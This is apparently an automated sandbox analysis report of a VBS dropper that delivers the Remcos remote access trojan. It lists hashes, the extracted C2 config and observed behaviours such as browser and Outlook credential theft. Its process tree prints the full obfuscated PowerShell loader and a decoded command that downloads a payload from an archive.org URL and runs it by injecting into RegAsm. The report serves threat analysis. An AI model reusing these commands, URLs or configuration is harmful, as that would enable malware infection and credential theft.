remcos | 234ec1709640c409c97d44db036f181f4956a15c73a8756f7a714a57a59ff66c

Analysis

max time kernel
148s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12/09/2024, 18:36

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General

Target

0x000300000000b3e3-94.vbs
Size

194KB
MD5

914253e6225b686ee3e0a752c1cd1bb4
SHA1

42e9ae719f4dfd04e7dcb9d58a911eb37fd3439c
SHA256

00f52a2f56551d868397acd11e4d12c353d7107ce680c6ff00012a90dabc818b
SHA512

92ecf4249ef488d95a657a3e920316cc816e2e8d5d2b8e257e4ce074626beda95d379034c86758ac7a1623354cfe2cba14bf811f73f3a35fe97e3610d85c9e3b
SSDEEP

3072:7tduXlp2G4E2A0w8Vf0DyQPrWDgt5pUGw1piL71OkHiMZzvcqgp3yO9pj2t7tK:JW2Gp9b8tPQPacR9vctpiO9pjGtK

Score

10^/10

remcos remotehost collection credential_access discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

ugnrv.duckdns.org:9674

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-AV5HSI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3368-53-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4840-51-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3116-49-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4840-51-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3368-53-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	4668	powershell.exe
45	4668	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4668	powershell.exe
888	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4668 set thread context of 4748	4668	powershell.exe	101
PID 4748 set thread context of 3368	4748	RegAsm.exe	102
PID 4748 set thread context of 4840	4748	RegAsm.exe	103
PID 4748 set thread context of 3116	4748	RegAsm.exe	104

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
888	powershell.exe
888	powershell.exe
4668	powershell.exe
4668	powershell.exe
3368	RegAsm.exe
3368	RegAsm.exe
3116	RegAsm.exe
3116	RegAsm.exe
3368	RegAsm.exe
3368	RegAsm.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4748	RegAsm.exe
4748	RegAsm.exe
4748	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	3116	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4560 wrote to memory of 888	4560	WScript.exe	85
PID 4560 wrote to memory of 888	4560	WScript.exe	85
PID 888 wrote to memory of 4668	888	powershell.exe	87
PID 888 wrote to memory of 4668	888	powershell.exe	87
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4668 wrote to memory of 4748	4668	powershell.exe	101
PID 4748 wrote to memory of 3368	4748	RegAsm.exe	102
PID 4748 wrote to memory of 3368	4748	RegAsm.exe	102
PID 4748 wrote to memory of 3368	4748	RegAsm.exe	102
PID 4748 wrote to memory of 3368	4748	RegAsm.exe	102
PID 4748 wrote to memory of 4840	4748	RegAsm.exe	103
PID 4748 wrote to memory of 4840	4748	RegAsm.exe	103
PID 4748 wrote to memory of 4840	4748	RegAsm.exe	103
PID 4748 wrote to memory of 4840	4748	RegAsm.exe	103
PID 4748 wrote to memory of 3116	4748	RegAsm.exe	104
PID 4748 wrote to memory of 3116	4748	RegAsm.exe	104
PID 4748 wrote to memory of 3116	4748	RegAsm.exe	104
PID 4748 wrote to memory of 3116	4748	RegAsm.exe	104

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x000300000000b3e3-94.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⛮ ䷖ ⧉ ┕ ⽚B1⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚b⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚D0⛮ ䷖ ⧉ ┕ ⽚I⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚Gg⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚B0⛮ ䷖ ⧉ ┕ ⽚H⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚cw⛮ ䷖ ⧉ ┕ ⽚6⛮ ䷖ ⧉ ┕ ⽚C8⛮ ䷖ ⧉ ┕ ⽚LwBp⛮ ䷖ ⧉ ┕ ⽚GE⛮ ䷖ ⧉ ┕ ⽚Ng⛮ ䷖ ⧉ ┕ ⽚w⛮ ䷖ ⧉ ┕ ⽚D⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚MQ⛮ ䷖ ⧉ ┕ ⽚w⛮ ䷖ ⧉ ┕ ⽚D⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚LgB1⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚LgBh⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚YwBo⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚dgBl⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚bwBy⛮ ䷖ ⧉ ┕ ⽚Gc⛮ ䷖ ⧉ ┕ ⽚Lw⛮ ䷖ ⧉ ┕ ⽚y⛮ ䷖ ⧉ ┕ ⽚DQ⛮ ䷖ ⧉ ┕ ⽚LwBp⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚ZQBt⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚LwBk⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bh⛮ ䷖ ⧉ ┕ ⽚Gg⛮ ䷖ ⧉ ┕ ⽚LQBu⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚C0⛮ ䷖ ⧉ ┕ ⽚dg⛮ ䷖ ⧉ ┕ ⽚v⛮ ䷖ ⧉ ┕ ⽚EQ⛮ ䷖ ⧉ ┕ ⽚ZQB0⛮ ䷖ ⧉ ┕ ⽚GE⛮ ䷖ ⧉ ┕ ⽚a⛮ ䷖ ⧉ ┕ ⽚BO⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚FY⛮ ䷖ ⧉ ┕ ⽚LgB0⛮ ䷖ ⧉ ┕ ⽚Hg⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚Ds⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚Bi⛮ ䷖ ⧉ ┕ ⽚GE⛮ ䷖ ⧉ ┕ ⽚cwBl⛮ ䷖ ⧉ ┕ ⽚DY⛮ ䷖ ⧉ ┕ ⽚N⛮ ䷖ ⧉ ┕ ⽚BD⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚PQ⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Cg⛮ ䷖ ⧉ ┕ ⽚TgBl⛮ ䷖ ⧉ ┕ ⽚Hc⛮ ䷖ ⧉ ┕ ⽚LQBP⛮ ䷖ ⧉ ┕ ⽚GI⛮ ䷖ ⧉ ┕ ⽚agBl⛮ ䷖ ⧉ ┕ ⽚GM⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚FM⛮ ䷖ ⧉ ┕ ⽚eQBz⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚ZQBt⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚TgBl⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚LgBX⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚YgBD⛮ ䷖ ⧉ ┕ ⽚Gw⛮ ䷖ ⧉ ┕ ⽚aQBl⛮ ䷖ ⧉ ┕ ⽚G4⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚p⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚R⛮ ䷖ ⧉ ┕ ⽚Bv⛮ ䷖ ⧉ ┕ ⽚Hc⛮ ䷖ ⧉ ┕ ⽚bgBs⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚YQBk⛮ ䷖ ⧉ ┕ ⽚FM⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚By⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚bgBn⛮ ䷖ ⧉ ┕ ⽚Cg⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚B1⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚b⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚p⛮ ䷖ ⧉ ┕ ⽚Ds⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚Bi⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚bgBh⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚eQBD⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚PQ⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Fs⛮ ䷖ ⧉ ┕ ⽚UwB5⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚G0⛮ ䷖ ⧉ ┕ ⽚LgBD⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bgB2⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚cgB0⛮ ䷖ ⧉ ┕ ⽚F0⛮ ䷖ ⧉ ┕ ⽚Og⛮ ䷖ ⧉ ┕ ⽚6⛮ ䷖ ⧉ ┕ ⽚EY⛮ ䷖ ⧉ ┕ ⽚cgBv⛮ ䷖ ⧉ ┕ ⽚G0⛮ ䷖ ⧉ ┕ ⽚QgBh⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚ZQ⛮ ䷖ ⧉ ┕ ⽚2⛮ ䷖ ⧉ ┕ ⽚DQ⛮ ䷖ ⧉ ┕ ⽚UwB0⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚aQBu⛮ ䷖ ⧉ ┕ ⽚Gc⛮ ䷖ ⧉ ┕ ⽚K⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚k⛮ ䷖ ⧉ ┕ ⽚GI⛮ ䷖ ⧉ ┕ ⽚YQBz⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚Ng⛮ ䷖ ⧉ ┕ ⽚0⛮ ䷖ ⧉ ┕ ⽚EM⛮ ䷖ ⧉ ┕ ⽚bwBu⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚ZQBu⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚KQ⛮ ䷖ ⧉ ┕ ⽚7⛮ ䷖ ⧉ ┕ ⽚CQ⛮ ䷖ ⧉ ┕ ⽚YQBz⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚ZQBt⛮ ䷖ ⧉ ┕ ⽚GI⛮ ䷖ ⧉ ┕ ⽚b⛮ ䷖ ⧉ ┕ ⽚B5⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚PQ⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Fs⛮ ䷖ ⧉ ┕ ⽚UgBl⛮ ䷖ ⧉ ┕ ⽚GY⛮ ䷖ ⧉ ┕ ⽚b⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚GM⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bp⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bg⛮ ䷖ ⧉ ┕ ⽚u⛮ ䷖ ⧉ ┕ ⽚EE⛮ ䷖ ⧉ ┕ ⽚cwBz⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚bQBi⛮ ䷖ ⧉ ┕ ⽚Gw⛮ ䷖ ⧉ ┕ ⽚eQBd⛮ ䷖ ⧉ ┕ ⽚Do⛮ ䷖ ⧉ ┕ ⽚OgBM⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚YQBk⛮ ䷖ ⧉ ┕ ⽚Cg⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚Bi⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚bgBh⛮ ䷖ ⧉ ┕ ⽚HI⛮ ䷖ ⧉ ┕ ⽚eQBD⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚bgB0⛮ ䷖ ⧉ ┕ ⽚Ck⛮ ䷖ ⧉ ┕ ⽚Ow⛮ ䷖ ⧉ ┕ ⽚k⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚eQBw⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚I⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚9⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚Bh⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚cwBl⛮ ䷖ ⧉ ┕ ⽚G0⛮ ䷖ ⧉ ┕ ⽚YgBs⛮ ䷖ ⧉ ┕ ⽚Hk⛮ ䷖ ⧉ ┕ ⽚LgBH⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚BU⛮ ䷖ ⧉ ┕ ⽚Hk⛮ ䷖ ⧉ ┕ ⽚c⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚Cg⛮ ䷖ ⧉ ┕ ⽚JwBS⛮ ䷖ ⧉ ┕ ⽚HU⛮ ䷖ ⧉ ┕ ⽚bgBQ⛮ ䷖ ⧉ ┕ ⽚EU⛮ ䷖ ⧉ ┕ ⽚LgBI⛮ ䷖ ⧉ ┕ ⽚G8⛮ ䷖ ⧉ ┕ ⽚bQBl⛮ ䷖ ⧉ ┕ ⽚Cc⛮ ䷖ ⧉ ┕ ⽚KQ⛮ ䷖ ⧉ ┕ ⽚7⛮ ䷖ ⧉ ┕ ⽚CQ⛮ ䷖ ⧉ ┕ ⽚bQBl⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚a⛮ ䷖ ⧉ ┕ ⽚Bv⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚I⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚9⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚J⛮ ䷖ ⧉ ┕ ⽚B0⛮ ䷖ ⧉ ┕ ⽚Hk⛮ ䷖ ⧉ ┕ ⽚c⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚RwBl⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚TQBl⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚a⛮ ䷖ ⧉ ┕ ⽚Bv⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚K⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚FY⛮ ䷖ ⧉ ┕ ⽚QQBJ⛮ ䷖ ⧉ ┕ ⽚Cc⛮ ䷖ ⧉ ┕ ⽚KQ⛮ ䷖ ⧉ ┕ ⽚7⛮ ䷖ ⧉ ┕ ⽚CQ⛮ ䷖ ⧉ ┕ ⽚bQBl⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚a⛮ ䷖ ⧉ ┕ ⽚Bv⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚LgBJ⛮ ䷖ ⧉ ┕ ⽚G4⛮ ䷖ ⧉ ┕ ⽚dgBv⛮ ䷖ ⧉ ┕ ⽚Gs⛮ ䷖ ⧉ ┕ ⽚ZQ⛮ ䷖ ⧉ ┕ ⽚o⛮ ䷖ ⧉ ┕ ⽚CQ⛮ ䷖ ⧉ ┕ ⽚bgB1⛮ ䷖ ⧉ ┕ ⽚Gw⛮ ䷖ ⧉ ┕ ⽚b⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚s⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚WwBv⛮ ䷖ ⧉ ┕ ⽚GI⛮ ䷖ ⧉ ┕ ⽚agBl⛮ ䷖ ⧉ ┕ ⽚GM⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚Bb⛮ ䷖ ⧉ ┕ ⽚F0⛮ ䷖ ⧉ ┕ ⽚XQB⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚Cg⛮ ䷖ ⧉ ┕ ⽚JwB0⛮ ䷖ ⧉ ┕ ⽚Hg⛮ ䷖ ⧉ ┕ ⽚d⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚u⛮ ䷖ ⧉ ┕ ⽚EM⛮ ䷖ ⧉ ┕ ⽚RgBD⛮ ䷖ ⧉ ┕ ⽚E4⛮ ䷖ ⧉ ┕ ⽚Ug⛮ ䷖ ⧉ ┕ ⽚v⛮ ䷖ ⧉ ┕ ⽚DM⛮ ䷖ ⧉ ┕ ⽚O⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚v⛮ ䷖ ⧉ ┕ ⽚DE⛮ ䷖ ⧉ ┕ ⽚Nw⛮ ䷖ ⧉ ┕ ⽚x⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚MQ⛮ ䷖ ⧉ ┕ ⽚4⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚Mg⛮ ䷖ ⧉ ┕ ⽚x⛮ ䷖ ⧉ ┕ ⽚C4⛮ ䷖ ⧉ ┕ ⽚O⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚5⛮ ䷖ ⧉ ┕ ⽚DE⛮ ䷖ ⧉ ┕ ⽚Lw⛮ ䷖ ⧉ ┕ ⽚v⛮ ䷖ ⧉ ┕ ⽚Do⛮ ䷖ ⧉ ┕ ⽚c⛮ ䷖ ⧉ ┕ ⽚B0⛮ ䷖ ⧉ ┕ ⽚HQ⛮ ䷖ ⧉ ┕ ⽚a⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚L⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Cc⛮ ䷖ ⧉ ┕ ⽚Z⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚YQB0⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚dgBh⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚bw⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚L⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Cc⛮ ䷖ ⧉ ┕ ⽚Z⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚YQB0⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚dgBh⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚bw⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚C⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚L⛮ ䷖ ⧉ ┕ ⽚⛮ ䷖ ⧉ ┕ ⽚g⛮ ䷖ ⧉ ┕ ⽚Cc⛮ ䷖ ⧉ ┕ ⽚Z⛮ ䷖ ⧉ ┕ ⽚Bl⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚YQB0⛮ ䷖ ⧉ ┕ ⽚Gk⛮ ䷖ ⧉ ┕ ⽚dgBh⛮ ䷖ ⧉ ┕ ⽚GQ⛮ ䷖ ⧉ ┕ ⽚bw⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚Cw⛮ ䷖ ⧉ ┕ ⽚JwBS⛮ ䷖ ⧉ ┕ ⽚GU⛮ ䷖ ⧉ ┕ ⽚ZwBB⛮ ䷖ ⧉ ┕ ⽚HM⛮ ䷖ ⧉ ┕ ⽚bQ⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚Cw⛮ ䷖ ⧉ ┕ ⽚Jw⛮ ䷖ ⧉ ┕ ⽚n⛮ ䷖ ⧉ ┕ ⽚Ck⛮ ䷖ ⧉ ┕ ⽚KQ⛮ ䷖ ⧉ ┕ ⽚=';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('⛮ ䷖ ⧉ ┕ ⽚','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$url = 'https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt';$base64Content = (New-Object System.Net.WebClient).DownloadString($url);$binaryContent = [System.Convert]::FromBase64String($base64Content);$assembly = [Reflection.Assembly]::Load($binaryContent);$type = $assembly.GetType('RunPE.Home');$method = $type.GetMethod('VAI');$method.Invoke($null, [object[]]@('txt.CFCNR/38/171.18.21.891//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4668
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4748
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\bpnwhuabnmkeewrscvoidfudxrtwk"
